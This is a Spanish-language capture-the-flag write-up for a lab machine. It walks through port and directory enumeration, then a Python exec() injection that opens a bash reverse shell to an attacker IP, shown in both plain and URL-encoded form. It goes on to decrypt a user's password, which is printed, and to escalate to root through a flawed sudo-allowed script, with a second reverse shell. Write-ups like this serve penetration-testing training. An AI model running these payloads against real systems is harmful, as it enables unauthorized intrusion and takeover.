Esta fue una máquina ampliamente interesante, en ella se debe aplicar desde el primer momento bastante lectura de código fuente en Python, para aprovechar ciertas características en los mismos y conseguir el propósito.

Resumen:

  • Enumeración de puertos y servicios vía Nmap
  • Reconocimiento de plataforma web y descubrimiento de recursos internos
  • Aprovechamiento de función exec()
  • Obtención de usuario / Captura del fichero user.txt
  • Escalada de privilegios / Captura de fichero root.txt

Enumeración:

Tras una identificación rápida de puertos y servicios con Nmap obtenemos el siguiente resultado:

nmap -sS -sV --open 10.10.10.168

El puerto 8080 arroja una plataforma web, si se visita vía navegador se obtiene el siguiente resultado:

http://10.10.10.168:8080/

Revisando detenidamente la plataforma web se observa la siguiente sección descrita como Development.

Esta será la pista suficiente para entender que debemos buscar el directorio concreto donde se aloja el fichero SuperSecureServer.py. Realizamos un barrido a través de Wfuzz.

wfuzz --sc=200 -w /usr/share/dirb/wordlists/common.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py

Evidenciando el directorio develop que aloja este primer recurso en Python, procedemos a la descarga del mismo y al análisis de código, identificando la función exec() que emplearemos para conseguir el acceso a la máquina.

curl -s http://10.10.10.168:8080/develop/SuperSecureServer.py -o SuperSecureServer.py
cat SuperSecureServer.py | grep exec

Después de varias pruebas con el código fuente ejecutado de forma interna, se identifica el payload necesario para conseguir ejecutar comandos en la máquina objetivo: ‘;os.system(«comando»);’.

Se emplea lo siguiente para conseguir una reverse shell y ganar acceso a la máquina:

';os.system("bash -c 'bash -i >& /dev/tcp/10.10.15.132/5544 0>&1'");'

Tomando en cuenta la codificación en formato URL para los caracteres espacio (%20), comillas dobles (%22) y signo de mayor que (%3E).

';os.system(%22bash%20-c%20'bash%20-i%20%3E&%20/dev/tcp/10.10.15.132/5544%200%3E&1'%22);'

Con esto ya asumido podemos conseguir el propósito.

nc -lvnp 5544
curl "http://10.10.10.168:8080/';os.system(%22bash%20-c%20'bash%20-i%20%3E&%20/dev/tcp/10.10.15.132/5544%200%3E&1'%22);'"
id; hostname; hostname -I

Obtención de usuario:

Identificamos como usuario del sistema a robert y dentro de su directorio principal se ubican los siguiente recursos:

En donde básicamente cada uno de estos ficheros son:

  • check.txt.- Cuenta con el mensaje que se empleará para el descifrado de out.txt.
  • out.txt.- Primer fichero cifrado que cuenta con clave para descifrar el siguiente recurso.
  • passwordreminder.txt.- Fichero cifrado que cuenta con la password del usuario robert.
  • SuperSecureCrypt.py.- Script para el cifrado/descifrado a partir de una clave.

Por lo tanto emplearemos SuperSecureCrypt.py para conseguir llegar a la contraseña del usuario robert. Si vemos la ayuda de este script obtenemos lo siguiente:

Lo primero será conseguir descifrar el fichero out.txt a partir del string (clave) del fichero check.txt, todo esto depositado en la siguiente ruta: /tmp/first_password.txt.

python3 SuperSecureCrypt.py -i out.txt -o /tmp/first_password.txt -k 'Encrypting this file with your key should result in out.txt, make sure your key is correct!' -d

cat /tmp/first_password.txt

Luego vamos con el siguiente fichero: passwordreminder.txt que será descifrado con la clave alexandrovich y nuevamente depositado en un tercer fichero (con el nombre que deseemos): /tmp/password_robert.txt.

python3 SuperSecureCrypt.py -i passwordreminder.txt -o /tmp/password_robert.txt -k 'alexandrovich' -d

cat /tmp/password_robert.txt

Ya con esto conseguido, nos toca conectarnos a través de SSH con las credenciales del usuario robert y hacernos con la flag de user.

Escalada de privilegios:

Para la escalada de privilegios y observando el resultado de sudo -l, comprendemos que todo pasa por emplear el recurso existente en el directorio BetterSSH.

sudo -l

ls -la

Después de algunas pruebas, se identificó que el script cuenta con una inconsistencia en su flujo, por tanto es posible ejecutar comandos con máximos privilegios mientras pongamos por delante lo siguiente: “-u root

De esta manera podemos hacernos con la flag del root.

sudo python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: robert
Enter password: SecThruObsFTW
robert@Obscure$ -u root cat /root/root.txt

Si adicionalmente buscamos hacernos con una sesión de root, podríamos hacernos una reverse shell de la siguiente manera:

echo "bash -i >& /dev/tcp/10.10.15.123/2233 0>&1" > .hell.sh
sudo python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: robert
Enter password: SecThruObsFTW
-u root bash /tmp/.hell.sh
id; hostname; hostname -I

Como he dicho en otras ocasiones, eso ya depende de la necesidad que tengamos. Conmigo será hasta la próxima entrada.